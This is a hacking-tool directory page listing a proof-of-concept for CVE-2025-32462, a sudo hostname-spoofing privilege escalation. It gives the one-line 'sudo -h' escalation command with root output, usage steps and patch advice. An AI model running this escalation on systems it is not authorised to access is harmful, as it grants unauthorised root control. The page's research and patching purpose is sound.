Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-32462-Exploit — PoC exploit for CVE-2025-32462, a sudo privilege escalation via hostname spoofing. Demonstrates bypassing hostname-based restrictions to gain root access on vulnerable systems (< 1.9.17). | Kitploit
Tools/GitHubGitHub/cybersentinelx1/cve-2025-32462-exploit
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubcybersentinelx1/cve-2025-32462-exploit

CVE-2025-32462-Exploit

PoC exploit for CVE-2025-32462, a sudo privilege escalation via hostname spoofing. Demonstrates bypassing hostname-based restrictions to gain root access on vulnerable systems (< 1.9.17).

Share
View Repository
1361 year agoNot yet reviewed

CVE-2025-32462-Exploit: Matrix-Sudo Escape

Hostname Spoofing Privilege Escalation (CVE-2025-32462)

"You take the blue pill... the story ends. You take the red pill... you get root."

Description

This exploit demonstrates a privilege escalation vulnerability in sudo (CVE-2025-32462) where hostname-based restrictions can be bypassed using the -h flag. The PoC creates a restricted user environment, then escapes it by spoofing a whitelisted hostname to gain root access.

[user@matrix-node]$ sudo -h zion-core bash  # Spoof whitelisted hostname
[root@matrix-node]# id                          # Got root on wrong hostname!
uid=0(root) gid=0(root) groups=0(root)

Technical Details

  • Vulnerable Sudo Versions: < 1.9.17
  • Attack Vector: Local privilege escalation
  • Key Flaw: Hostname verification bypass via sudo -h parameter
  • Impact: Restricted users can gain root on improperly configured systems

Usage

Clone repository:

git clone https://github.com/cybersentinelx1/CVE-2025-32462-Exploit.git
cd matrix-sudo-escape

Make executable and run:

chmod +x matrix-sudo-escape.sh
./matrix-sudo-escape.sh

Follow interactive prompts to demonstrate:

  • CVE-2025-32462 vulnerability detection
  • User creation
  • Hostname restriction setup
  • Exploit execution
  • Cleanup

Protection

  • ✅ Update sudo to v1.9.17+
  • ✅ Avoid hostname-based sudo restrictions
  • ✅ Use group-based sudo policies instead

Legal

For educational/research purposes only. Use only on systems you own or have permission to test.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    647
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    421
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    389
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    333
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    331

Explore all tools

Browse our collection of tools

View all tools →